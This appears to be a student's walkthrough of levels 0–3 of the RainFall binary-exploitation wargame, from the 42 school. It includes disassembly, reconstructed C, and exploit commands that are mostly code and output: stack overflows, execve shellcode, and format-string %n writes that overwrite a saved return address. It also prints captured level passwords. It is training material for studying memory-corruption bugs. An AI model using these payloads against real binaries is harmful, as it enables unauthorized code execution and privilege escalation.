_____ _ ______ _ _
| __ \ (_) | ____| | | |
| |__) |__ _ _ _ __ | |__ __ _| | |
| _ / _` | | '_ \| __/ _` | | |
| | \ \ (_| | | | | | | | (_| | | |
|_| \_\__,_|_|_| |_|_| \__,_|_|_|
Good luck & Have fun
2nd security project of the 42 cursus, focused on binary exploitation
The user/password to log for the 1st level will be level0
/level0
(gdb) disas main
Dump of assembler code for function main:
0x08048ec0 <+0>: push %ebp
0x08048ec1 <+1>: mov %esp,%ebp
0x08048ec3 <+3>: and $0xfffffff0,%esp
0x08048ec6 <+6>: sub $0x20,%esp
0x08048ec9 <+9>: mov 0xc(%ebp),%eax
0x08048ecc <+12>: add $0x4,%eax
0x08048ecf <+15>: mov (%eax),%eax
0x08048ed1 <+17>: mov %eax,(%esp)
0x08048ed4 <+20>: call 0x8049710 <atoi>
0x08048ed9 <+25>: cmp $0x1a7,%eax
0x08048ede <+30>: jne 0x8048f58 <main+152>
0x08048ee0 <+32>: movl $0x80c5348,(%esp)
0x08048ee7 <+39>: call 0x8050bf0 <strdup>
0x08048eec <+44>: mov %eax,0x10(%esp)
0x08048ef0 <+48>: movl $0x0,0x14(%esp)
0x08048ef8 <+56>: call 0x8054680 <getegid>
0x08048efd <+61>: mov %eax,0x1c(%esp)
0x08048f01 <+65>: call 0x8054670 <geteuid>
0x08048f06 <+70>: mov %eax,0x18(%esp)
0x08048f0a <+74>: mov 0x1c(%esp),%eax
0x08048f0e <+78>: mov %eax,0x8(%esp)
0x08048f12 <+82>: mov 0x1c(%esp),%eax
0x08048f16 <+86>: mov %eax,0x4(%esp)
0x08048f1a <+90>: mov 0x1c(%esp),%eax
0x08048f1e <+94>: mov %eax,(%esp)
0x08048f21 <+97>: call 0x8054700 <setresgid>
0x08048f26 <+102>: mov 0x18(%esp),%eax
0x08048f2a <+106>: mov %eax,0x8(%esp)
0x08048f2e <+110>: mov 0x18(%esp),%eax
0x08048f32 <+114>: mov %eax,0x4(%esp)
0x08048f36 <+118>: mov 0x18(%esp),%eax
0x08048f3a <+122>: mov %eax,(%esp)
0x08048f3d <+125>: call 0x8054690 <setresuid>
0x08048f42 <+130>: lea 0x10(%esp),%eax
0x08048f46 <+134>: mov %eax,0x4(%esp)
0x08048f4a <+138>: movl $0x80c5348,(%esp)
0x08048f51 <+145>: call 0x8054640 <execv>
0x08048f56 <+150>: jmp 0x8048f80 <main+192>
0x08048f58 <+152>: mov 0x80ee170,%eax
0x08048f5d <+157>: mov %eax,%edx
0x08048f5f <+159>: mov $0x80c5350,%eax
0x08048f64 <+164>: mov %edx,0xc(%esp)
0x08048f68 <+168>: movl $0x5,0x8(%esp)
0x08048f70 <+176>: movl $0x1,0x4(%esp)
0x08048f78 <+184>: mov %eax,(%esp)
0x08048f7b <+187>: call 0x804a230 <fwrite>
0x08048f80 <+192>: mov $0x0,%eax
0x08048f85 <+197>: leave
0x08048f86 <+198>: ret
End of assembler dump.
int main(int ac, char **av)
{
if (atoi(av[1]) == 423)
{
strdup()
getegid()
geteuid()
setresgid()
setresuid()
execv()
}
else
{
fwrite()
}
}
level0@RainFall:~$ ./level0
Segmentation fault (core dumped)
level0@RainFall:~$ ./level0 1
No !
0x08048ed9 <+25>: cmp $0x1a7,%eax ; Compare eax to 423
level0@RainFall:~$ ./level0 423
$ whoami
level1
level0@RainFall:~$ ./level0 423
$ bash
bash: /home/user/level0/.bashrc: Permission denied
level1@RainFall:~$ cd /home/user/level1
level1@RainFall:/home/user/level1$ ls -la
total 17
dr-xr-x---+ 1 level1 level1 80 Mar 6 2016 .
dr-x--x--x 1 root root 340 Sep 23 2015 ..
-rw-r--r-- 1 level1 level1 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 level1 level1 3530 Sep 23 2015 .bashrc
-rwsr-s---+ 1 level2 users 5138 Mar 6 2016 level1
-rw-r--r--+ 1 level1 level1 65 Sep 23 2015 .pass
-rw-r--r-- 1 level1 level1 675 Apr 3 2012 .profile
level1@RainFall:/home/user/level1$ cat .pass
1fe8a524fa4bec01ca4ea2a869af2a02260d4a7d5fe7e7c24d8617e6dca12d3a
int main()
{
unsigned char buf[80];
gets(buf + 16);
}
evel1@RainFall:~$ gdb ./level1
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/user/level1/level1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x08048480 <+0>: push ebp
0x08048481 <+1>: mov ebp,esp
0x08048483 <+3>: and esp,0xfffffff0
0x08048486 <+6>: sub esp,0x50 ; ; Reserve 80 bytes on the stack
0x08048489 <+9>: lea eax,[esp+0x10] ; Set eax to esp + 16
0x0804848d <+13>: mov DWORD PTR [esp],eax
0x08048490 <+16>: call 0x8048340 <gets@plt> ; Call gets(eax)
0x08048495 <+21>: leave
0x08048496 <+22>: ret
End of assembler dump.
0x08048480 <+0>: push %ebp
0x08048481 <+1>: mov %esp,%ebp
0x08048483 <+3>: and $0xfffffff0,%esp
0x08048486 <+6>: sub $0x50,%esp ; Reserve 50 bytes on the stack
0x08048489 <+9>: lea 0x10(%esp),%eax
0x0804848d <+13>: mov %eax,(%esp) ; Load $esp address in $eax
0x08048490 <+16>: call 0x8048340 <gets@plt> ; call gets with the buffer address to the stack
0x08048495 <+21>: leave
0x08048496 <+22>: ret
level1@RainFall:~$ ./level1 <<< '123456789 123456789 123456789 123456789 123456789 123456789 123456789 123456'
Illegal instruction (core dumped)
level1@RainFall:~$ ./level1 <<< '123456789 123456789 123456789 123456789 123456789 123456789 123456789 12345'
When running objdump -d ./level1
, a run
function using system()
is showing.
When trying to run it in gdb, the function spawns a shell
level1@RainFall:~$ gdb ./level1
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/user/level1/level1...(no debugging symbols found)...done.
(gdb) break *0x0804848d
Breakpoint 1 at 0x804848d
(gdb) run
Starting program: /home/user/level1/level1
Breakpoint 1, 0x0804848d in main ()
(gdb) set $eip = 0x^CQuit
(gdb) info registers
eax 0xbffff690 -1073744240
ecx 0xbffff774 -1073744012
edx 0xbffff704 -1073744124
ebx 0xb7fd0ff4 -1208152076
esp 0xbffff680 0xbffff680
ebp 0xbffff6d8 0xbffff6d8
esi 0x0 0
edi 0x0 0
eip 0x804848d 0x804848d <main+13>
eflags 0x200282 [ SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) set $eip = 0x8048444
(gdb) continue
Continuing.
Good... Wait what?
$ whoami
level1
When giving a long string as arguments, we can see we can overwrite the $eip register
(gdb) run <<< 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
Starting program: /home/user/level1/level1 <<< 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
eax 0xbffff690 -1073744240
ecx 0xb7fd28c4 -1208145724
edx 0xbffff690 -1073744240
ebx 0xb7fd0ff4 -1208152076
esp 0xbffff6e0 0xbffff6e0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x210282 [ SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
The next step is to try to overwrite $eip
with the address of the run
function found in the binary previously
# The first 4 bytes are for $ebp and the other 4 for $eip
level1@RainFall:~$ ./level1 <<< `perl -e 'print "A"x72'`$(echo -n -e "\xd8\xf6\xff\xbf\x44\x84\x04\x8")
Good... Wait what?
Segmentation fault (core dumped)
level1@RainFall:~$ perl -e 'print "A"x72' > /tmp/lol
level1@RainFall:~$ echo -n -e "\xd8\xf6\xff\xbf\x44\x84\x04\x8" >> /tmp/lol
level1@RainFall:~$ cat /tmp/lol | ./level1
Good... Wait what?
Segmentation fault (core dumped)
level1@RainFall:~$ cat /tmp/lol - | ./level1
Good... Wait what?
whoami
level2
cat /home/user/level2/.pass
53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77
Some image of what we're doing here, replace strcpy()
by gets()
gdb-peda$ disas main
Dump of assembler code for function main:
0x0804853f <+0>: push ebp
0x08048540 <+1>: mov ebp,esp
0x08048542 <+3>: and esp,0xfffffff0
0x08048545 <+6>: call 0x80484d4 <p>
0x0804854a <+11>: leave
0x0804854b <+12>: ret
End of assembler dump.
gdb-peda$ disas p
Dump of assembler code for function p:
0x080484d4 <+0>: push ebp ; ASM Prologue
0x080484d5 <+1>: mov ebp,esp ; ASM Prologue
0x080484d7 <+3>: sub esp,0x68 ; Allocates 104 bytes on the stack
0x080484da <+6>: mov eax,ds:0x8049860 ; x/100x 0x8049860 -> 0x8049860 <stdout@@GLIBC_2.0> (take stdout fileno from data segment https://stackoverflow.com/questions/30050527/meaning-of-ds-in-assembly-language)
0x080484df <+11>: mov DWORD PTR [esp],eax ; set 1st argument of fflush() to *eax (STDOUT_FILENO)
0x080484e2 <+14>: call 0x80483b0 <fflush@plt> ; fflush(STDOUT_FILENO);
0x080484e7 <+19>: lea eax,[ebp-0x4c] ; Point eax to (ebp - 76) (28nth byte of the stack)
0x080484ea <+22>: mov DWORD PTR [esp],eax ; Save eax
0x080484ed <+25>: call 0x80483c0 <gets@plt> ; Call gets(ebp - 0x4c)
0x080484f2 <+30>: mov eax,DWORD PTR [ebp+0x4] ; Set eax to return value of gets()
0x080484f5 <+33>: mov DWORD PTR [ebp-0xc],eax ; Set 92nth byte of the stack as the return value of gets()
0x080484f8 <+36>: mov eax,DWORD PTR [ebp-0xc] ; Set eax as 92nth byte of the stack
0x080484fb <+39>: and eax,0xb0000000 ; Apply bitmask (eax & 0xb0000000)
0x08048500 <+44>: cmp eax,0xb0000000 ; Check if higher byte of eax is == '0xb0'
0x08048505 <+49>: jne 0x8048527 <p+83> ; If it\'s the case continue, print the string w/ printf() & exit, else goto <p+83>
0x08048507 <+51>: mov eax,0x8048620 ; gdb$ printf "%s", 0x8048620 -> "(%p)"
0x0804850c <+56>: mov edx,DWORD PTR [ebp-0xc] ; Set the 92nth byte of the stack as edx
0x0804850f <+59>: mov DWORD PTR [esp+0x4],edx ; Set edx as 2nd argument
0x08048513 <+63>: mov DWORD PTR [esp],eax ; Set eax as 1st argument
0x08048516 <+66>: call 0x80483a0 <printf@plt> ; Call printf("(%p)", ebp-0xc (ebp - 12 / 92th byte));
0x0804851b <+71>: mov DWORD PTR [esp],0x1 ; Set 1 as 1st argument of exit()
0x08048522 <+78>: call 0x80483d0 <_exit@plt> ; Call exit()
0x08048527 <+83>: lea eax,[ebp-0x4c] ; Set eax to 28nth byte of the stack
0x0804852a <+86>: mov DWORD PTR [esp],eax ; Set 1st argument of puts to eax
0x0804852d <+89>: call 0x80483f0 <puts@plt> ; Call puts(ebp-0x4c)
0x08048532 <+94>: lea eax,[ebp-0x4c] ; Set eax to 28nth byte of the stack
0x08048535 <+97>: mov DWORD PTR [esp],eax ; Set 1st argument of strdup() to eax
0x08048538 <+100>: call 0x80483e0 <strdup@plt> ; Call strdup()
0x0804853d <+105>: leave ; ASM Epilogue
0x0804853e <+106>: ret ; ASM Epilogue
End of assembler dump.
int main(void)
{
unsigned char buf[104];
fflush(stdout);
gets(buf + 28);
if (buf[92] == 0xb0)
{
printf("(%p)", buf + 92);
exit(1);
}
puts(buf + 28);
strdup(buf + 28);
}
As we can see we're storing the output of gets() in to pointer to the 28h byte of the stack, which has a size limited to 104 bytes
It's also important to note that we're executing printf("%p") instead of puts() & strdup() when the 92th byte of the stack is between 0xb0 and 0xbf
Let's try to run this printf:
# To write what we want to the 92th byte of the stack, keep in mind that we're starting to write with gets() at index 28
# To reach the end of our buffer we should then pass a string with a length of 76
# EBP and EIP of the main() frame will be 4 bytes each, so to override both of them, we should pass (76 + 2*4) bytes
#
level2@RainFall:~$ echo -n "abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijk$(echo -n -e '\xb0')" | wc -c
84
level2@RainFall:~$ echo -n "abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijk$(echo -n -e '\xb0')" > /tmp/lol
level2@RainFall:~$ xxd /tmp/lol
0000000: 6162 6364 6566 6768 696a 6b6c 6d6e 6f70 abcdefghijklmnop
0000010: 7172 7374 7576 7778 797a 3031 3233 3435 qrstuvwxyz012345
0000020: 3637 3839 6162 6364 6566 6768 696a 6b6c 6789abcdefghijkl
0000030: 6d6e 6f70 7172 7374 7576 7778 797a 3031 mnopqrstuvwxyz01
0000040: 3233 3435 3637 3839 6162 6364 6566 6768 23456789abcdefgh
0000050: 696a 6bb0 ijk.
level2@RainFall:~$ gdb ./level2
gdb-peda$ b *0x080484f2 # (After puts() call in p())
gdb-peda$ run < /tmp/lol
gdb-peda$ print $ebp
$1 = (void *) 0xbffff6c8
# $ebp - 4c = 0xbffff67d
gdb-peda$ printf "%s", 0xbffff67d
abcdefghijklmnopqrstuvwxyz0123456789abcdefghijklmnopqrstuvwxyz0123456789abcdefghijk
We're hitting the printf() call !
level2@RainFall:~$ cat /tmp/lol - | ./level2
(0xb06b6a69)
level2@RainFall:~$ echo $?
1
Let's grab a random shellcode from the internet...
level2@RainFall:~$ echo -n "$(echo -n -e '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80')"$(perl -e 'print "A"x59')"$(echo -n -e '\x7d\xf6\xff\xbf')" > /tmp/lol
level2@RainFall:~$ cat /tmp/lol | ./level2
(0xbffff67d)
Unfortunaltely, the printf in the code prevent us from executing the shellcode in our string because its address begins by \bf
like all other addresses of the program in the stack
So I had to find something else !
When doing an objdump -d
on the program, we can see the function __do_global_ctors_aux
used by the kernel makes a call
instruction to eax
to execute something stored in it
080485d0 <__do_global_ctors_aux>:
80485d0: 55 push %ebp
80485d1: 89 e5 mov %esp,%ebp
80485d3: 53 push %ebx
80485d4: 83 ec 04 sub $0x4,%esp
80485d7: a1 48 97 04 08 mov 0x8049748,%eax
80485dc: 83 f8 ff cmp $0xffffffff,%eax
80485df: 74 13 je 80485f4 <__do_global_ctors_aux+0x24>
80485e1: bb 48 97 04 08 mov $0x8049748,%ebx
80485e6: 66 90 xchg %ax,%ax
80485e8: 83 eb 04 sub $0x4,%ebx
80485eb: ff d0 call *%eax
80485ed: 8b 03 mov (%ebx),%eax
80485ef: 83 f8 ff cmp $0xffffffff,%eax
80485f2: 75 f4 jne 80485e8 <__do_global_ctors_aux+0x18>
80485f4: 83 c4 04 add $0x4,%esp
80485f7: 5b pop %ebx
80485f8: 5d pop %ebp
80485f9: c3 ret
80485fa: 90 nop
80485fb: 90 nop
I then tried to pass my shellcode in the input of the program like before, but passing the address of the call eax
instruction in the EIP
register instead of the address of our shellcode in the stack of the p
function frame
level2@RainFall:~$ echo -n "$(echo -n -e '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80')"$(perl -e 'print "A"x59')"$(echo -n -e '\xeb\x85\x04\x08')" > /tmp/lol
level2@RainFall:~$ cat /tmp/lol - | ./level2
ls
1Qh//shh/binAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAls
ls
ls: cannot open directory .: Permission denied
whoami
level3
pwd
/home/user/level2
cat /home/user/level3/.pass
492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02
gdb-peda$ disas main
Dump of assembler code for function main:
0x0804851a <+0>: push %ebp
0x0804851b <+1>: mov %esp,%ebp
0x0804851d <+3>: and $0xfffffff0,%esp
0x08048520 <+6>: call 0x80484a4 <v>
0x08048525 <+11>: leave
0x08048526 <+12>: ret
End of assembler dump.
gdb-peda$ disas v
Dump of assembler code for function v:
0x080484a4 <+0>: push %ebp ; ASM Prologue
0x080484a5 <+1>: mov %esp,%ebp ; ASM Prologue
0x080484a7 <+3>: sub $0x218,%esp ; Allocate 536 bytes on the stack
0x080484ad <+9>: mov 0x8049860,%eax ; Move stdin@@GLIBC_2.0 to eax
0x080484b2 <+14>: mov %eax,0x8(%esp) ; Move stdin@@GLIBC_2.0 as 3rd argument of fgets()
0x080484b6 <+18>: movl $0x200,0x4(%esp) ; Move 512 as 2nd argument of fgets()
0x080484be <+26>: lea -0x208(%ebp),%eax ; Set eax to point to the (520th / 16th last) byte of the stack
0x080484c4 <+32>: mov %eax,(%esp) ; Set eax as 1st argument of fgets()
0x080484c7 <+35>: call 0x80483a0 <fgets@plt> ; Call fgets(ebp - 520, 512, stdin)
; char *fgets(char * restrict str, int size, FILE * restrict stream);
0x080484cc <+40>: lea -0x208(%ebp),%eax ; Set eax to point to the 16th byte of the stack
0x080484d2 <+46>: mov %eax,(%esp) ; Set eax as 1st argument of printf()
0x080484d5 <+49>: call 0x8048390 <printf@plt> ; Call printf(eax)
0x080484da <+54>: mov 0x804988c,%eax ; set eax to m (= 0): printf "%x", *0x804988c -> "0"
0x080484df <+59>: cmp $0x40,%eax ; Check if eax is equal to 64
0x080484e2 <+62>: jne 0x8048518 <v+116> ; If it\'s not the case, goto v+116 (return)
0x080484e4 <+64>: mov 0x8049880,%eax ; Set eax to stdout@@GLIBC_2.0
0x080484e9 <+69>: mov %eax,%edx ; Set eax as 3rd argument of fwrite
0x080484eb <+71>: mov $0x8048600,%eax ; Set eax to 0x8048600 printf "%s", 0x8048600 -> "Wait what?!"
0x080484f0 <+76>: mov %edx,0xc(%esp) ; Set stdout@@GLIBC_2.0 as 4th argument
0x080484f4 <+80>: movl $0xc,0x8(%esp) ; Set 3rd argument to 12
0x080484fc <+88>: movl $0x1,0x4(%esp) ; Set 2nd argument to 1
0x08048504 <+96>: mov %eax,(%esp) ; Set eax as 1st argument
0x08048507 <+99>: call 0x80483b0 <fwrite@plt> ; fwrite(stdout, 1, 12);
; size_t fwrite(const void *restrict ptr, size_t size, size_t nitems, FILE *restrict stream);
0x0804850c <+104>: movl $0x804860d,(%esp) ; Set 1st argument of system() to "/bin/sh": printf "%s", 0x804860d -> /bin/sh
0x08048513 <+111>: call 0x80483c0 <system@plt> ; Call system("/bin/sh")
0x08048518 <+116>: leave ; ASM Epilogue
0x08048519 <+117>: ret ; ASM Epilogue
End of assembler dump.
gdb-peda$ disas 0x8049860
Dump of assembler code for function stdin@@GLIBC_2.0:
0x08049860 <+0>: add %al,(%eax)
0x08049862 <+2>: add %al,(%eax)
End of assembler dump.
gdb-peda$ disas 0x8049880
Dump of assembler code for function stdout@@GLIBC_2.0:
0x08049880 <+0>: add %al,(%eax)
0x08049882 <+2>: add %al,(%eax)
End of assembler dump.
// level3@RainFall:~$ cat /tmp/lol.c
#include <stdio.h>
unsigned int m = 0;
void v(void) {
unsigned char buf[536];
fgets(buf + 520, 512, stdin);
printf(buf + 520);
if (m == 0x40) // 64
{
fwrite("Wait what?!\n", 1, 12, stdout);
system("/bin/sh");
}
return ;
}
int main(void) {
v();
return (0);
}
level3@RainFall:~$ ./level3
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
level3@RainFall:~$ ./level3
%p
0x200
level3@RainFall:~$ ./level3 <<< '%x %x %x %x %x'
200 b7fd1ac0 b7ff37d0 25207825 78252078
level3@RainFall:~$ ./level3 <<< 'AAAABBBBCCCC%x %x %x %x %x'
AAAABBBBCCCC200 b7fd1ac0 b7ff37d0 41414141 42424242
level3@RainFall:~$ ./level3 <<< 'AAAABBBBCCCC%x %x %x %x %x %x'
AAAABBBBCCCC200 b7fd1ac0 b7ff37d0 41414141 42424242 43434343
level3@RainFall:~$ ./level3 <<< 'AAAA %4$x'
AAAA 41414141
level3@RainFall:~$ ./level3 <<< 'AAAA %4$s'
Segmentation fault (core dumped)
We can read our own string !
(gdb) info variables
All defined variables:
Non-debugging symbols:
0x080485f8 _fp_hw
0x080485fc _IO_stdin_used
0x08048734 __FRAME_END__
0x08049738 __CTOR_LIST__
0x08049738 __init_array_end
0x08049738 __init_array_start
0x0804973c __CTOR_END__
0x08049740 __DTOR_LIST__
0x08049744 __DTOR_END__
0x08049748 __JCR_END__
0x08049748 __JCR_LIST__
0x0804974c _DYNAMIC
0x08049818 _GLOBAL_OFFSET_TABLE_
0x0804983c __data_start
0x0804983c data_start
0x08049840 __dso_handle
0x08049860 stdin@@GLIBC_2.0
0x08049880 stdout@@GLIBC_2.0
0x08049884 completed.6159
0x08049888 dtor_idx.6161
[0x0804988c m]
(gdb) print "%u", *0x804988c
$3 = 0
0x080484d5 <+49>: call 0x8048390 <printf@plt> ; Call printf(eax)
0x080484da <+54>: mov 0x804988c,%eax ; set eax to m (= 0): printf "%x", *0x804988c -> "0"
0x080484df <+59>: cmp $0x40,%eax ; Check if eax is equal to 64
level3@RainFall:~$ echo -n -e '\x0d\x86\x04\x08%4$s' > /tmp/input; ./level3 < /tmp/input | xxd
0000000: 0d86 0408 2f62 696e 2f73 68 ..../bin/sh
level3@RainFall:~$ echo -n -e '\x8c\x98\x04\x08''%60x%4$n' > /tmp/input
level3@RainFall:~$ cat /tmp/input - | ./level3
ls
ďż˝ 200ls
Wait what?!
ls
ls: cannot open directory .: Permission denied
pwd
/home/user/level3
cat /home/user/level4/.pass
b209ea91ad69ef36f2cf0fcbbc24c739fd10464cf545b20bea8572ebdc3c36fa
level3@RainFall:~$ python -c "print 'A'*4" > /tmp/input; cat /tmp/input
AAAA
level3@RainFall:~$ gdb ./level3
(gdb) disas main
Dump of assembler code for function main:
0x0804851a <+0>: push %ebp
0x0804851b <+1>: mov %esp,%ebp
0x0804851d <+3>: and $0xfffffff0,%esp
0x08048520 <+6>: call 0x80484a4 <v>
0x08048525 <+11>: leave
0x08048526 <+12>: ret
End of assembler dump.
(gdb) b *0x08048520
Breakpoint 1 at 0x8048520
(gdb) disas v
Dump of assembler code for function v:
0x080484a4 <+0>: push %ebp
0x080484a5 <+1>: mov %esp,%ebp
...
0x080484c4 <+32>: mov %eax,(%esp)
0x080484c7 <+35>: call 0x80483a0 <fgets@plt>
0x080484cc <+40>: lea -0x208(%ebp),%eax
...
0x08048519 <+117>: ret
End of assembler dump.
(gdb) b *0x080484cc
Breakpoint 2 at 0x80484cc
(gdb) run < /tmp/input
(gdb) run < /tmp/input
Starting program: /home/user/level3/level3 < /tmp/input
Breakpoint 1, 0x08048520 in main ()
(gdb) i r
eax 0x1 1
ecx 0xbffff744 -1073744060
....
esi 0x0 0
edi 0x0 0
[eip 0x8048520 0x8048520 <main+6>]
(gdb) continue
(gdb) find $esp,0xbfffffff,0x08048525
0xbffff69c
1 pattern found.
(gdb) find $esp,0xbfffffff,0x41414141
0xbffff490
1 pattern found.
Now let's try to find saved eip from main() for fun:
level3@RainFall:~$ for i in $(seq 1 10); do echo -n "$i: "; echo -n -e "%$i\$x" | ./level3; echo; done;
1: 200
2: b7fd1ac0
3: b7ff37d0
4: 2434255c
5: b7e20078
6: 1
7: b7fef305
8: bffff518
9: b7fde2d4
10: b7fde334
# Not there ... let's try with a bigger range
level3@RainFall:~$ (for i in $(seq 1 500); do echo -n "$i: "; echo -n -e "%$i\$x" | ./level3; echo; done;) | grep 8048525
135: 8048525
To make the program run the if() condition containing the system() call, we'll try to rewrite a saved EIP pointer,
To do this we can try to make the program segfault, look at the backtrace (where function calls happened) and try to rewrite these addresses in the memory of the program
level3@RainFall:~$ echo -n -e 'AAAA%4$x'> /tmp/input ; cat /tmp/input | ./level3
AAAA41414141
level3@RainFall:~$ echo -n -e 'AAAA%4$s' > /tmp/input
level3@RainFall:~$ gdb ./level3
...
(gdb) run < /tmp/input
Starting program: /home/user/level3/level3 < /tmp/input
Program received signal SIGSEGV, Segmentation fault.
0xb7e70003 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) bt
#0 0xb7e70003 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
#1 0xb7e7887f in printf () from /lib/i386-linux-gnu/libc.so.6
#2 0x080484da in v ()
#3 0x08048525 in main ()
(gdb) find $esp,0xbfffffff,0xb7e70003
Pattern not found.
(gdb) find $esp,0xbfffffff,0xb7e7887f
0xbffff45c
1 pattern found.
(gdb) find $esp,0xbfffffff,0x080484da
0xbffff47c
1 pattern found.
(gdb) find $esp,0xbfffffff,0x08048525
0xbffff69c
1 pattern found.
Now that we have the locations of the saved EIP pointers, let's try to rewrite one using the %n
feature of printf (which saves the number of printed characters to the passed argument)
level3@RainFall:~$ echo -n -e '\x5c\xf4\xff\xbf%4$n' > /tmp/input
level3@RainFall:~$ gdb ./level3
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/user/level3/level3...(no debugging symbols found)...done.
(gdb) run < /tmp/input
Starting program: /home/user/level3/level3 < /tmp/input
Program received signal SIGSEGV, Segmentation fault.
0x00000004 in ?? ()
Bingo! The address got overwritten, now let's write the address that we want to jump to, 0x080484e4
0x080484e4
== 134513892
, -4 for first 4 bytes
Although it may work, we don't have to write this much bytes to overwrite EIP with the value we want
We can instead use multiple %n
values with the address of each byte in the 4byte address integer
level3@RainFall:~$ echo -n -e '\x5c\xf4\xff\xbf''\x5d\xf4\xff\xbf''\x5e\xf4\xff\xbf''\x5f\xf4\xff\xbf''%10x%4$n' > /tmp/input
level3@RainFall:~$ gdb ./level3
...
(gdb) run < /tmp/input
Starting program: /home/user/level3/level3 < /tmp/input
Program received signal SIGSEGV, Segmentation fault.
0x0000001a in ?? ()
level3@RainFall:~$ echo -n -e '\x5c\xf4\xff\xbf''\x5d\xf4\xff\xbf''\x5e\xf4\xff\xbf''\x5f\xf4\xff\xbf''%10x%4$n''%10x%5$n' > /tmp/input
level3@RainFall:~$ gdb ./level3
...
(gdb) run < /tmp/input
Starting program: /home/user/level3/level3 < /tmp/input
Program received signal SIGSEGV, Segmentation fault.
0x0000241a in ?? ()
level3@RainFall:~$ echo -n -e '\x5c\xf4\xff\xbf''\x5d\xf4\xff\xbf''\x5e\xf4\xff\xbf''\x5f\xf4\xff\xbf''%212x%4$n' > /tmp/input
level3@RainFall:~$ gdb ./level3
...
(gdb) run < /tmp/input
Starting program: /home/user/level3/level3 < /tmp/input
Program received signal SIGSEGV, Segmentation fault.
0x000000e4 in ?? ()
# For the 2nd byte (0x84 / 132): add 132 to (256 - 228)
level3@RainFall:~$ echo -n -e '\x5c\xf4\xff\xbf''\x5d\xf4\xff\xbf''\x5e\xf4\xff\xbf''\x5f\xf4\xff\xbf''%212x%4$n''%160x%5$n' > /tmp/input
level3@RainFall:~$ gdb ./level3
...
(gdb) run < /tmp/input
Starting program: /home/user/level3/level3 < /tmp/input
Program received signal SIGSEGV, Segmentation fault.
0x000184e4 in ?? ()
# For the 3rd byte (0x04 / 4): add 4 to (256 - 132)
level3@RainFall:~$ echo -n -e '\x5c\xf4\xff\xbf''\x5d\xf4\xff\xbf''\x5e\xf4\xff\xbf''\x5f\xf4\xff\xbf''%212x%4$n''%160x%5$n''%127x%6$n' > /tmp/input
level3@RainFall:~$ gdb ./level3
...
(gdb) run </tmp/input
Starting program: /home/user/level3/level3 </tmp/input
Program received signal SIGSEGV, Segmentation fault.
0x020384e4 in ?? ()
# For the 4th byte (0x08 / 8): add 4 to 256
level3@RainFall:~$ echo -n -e '\x5c\xf4\xff\xbf''\x5d\xf4\xff\xbf''\x5e\xf4\xff\xbf''\x5f\xf4\xff\xbf''%212x%4$n''%160x%5$n''%128x%6$n''%260x%7$n' > /tmp/input
level3@RainFall:~$ gdb ./level3
...
(gdb) run < /tmp/input
Starting program: /home/user/level3/level3 < /tmp/input
\�]�^�_� 200 b7fd1ac0 b7ff37d0 bffff45cWait what?!
[Inferior 1 (process 28545) exited normally]
Yay! We hit the printf() call, but it didn't work, lets put directly the address before the system() call (0x0804850c
)
level3@RainFall:~$ echo -n -e '\x5c\xf4\xff\xbf''\x5d\xf4\xff\xbf''\x5e\xf4\xff\xbf''\x5f\xf4\xff\xbf''%252x%4$n''%121x%5$n''%127x%6$n''%260x%7$n' > /tmp/input
level3@RainFall:~$ cat /tmp/input | ./level3
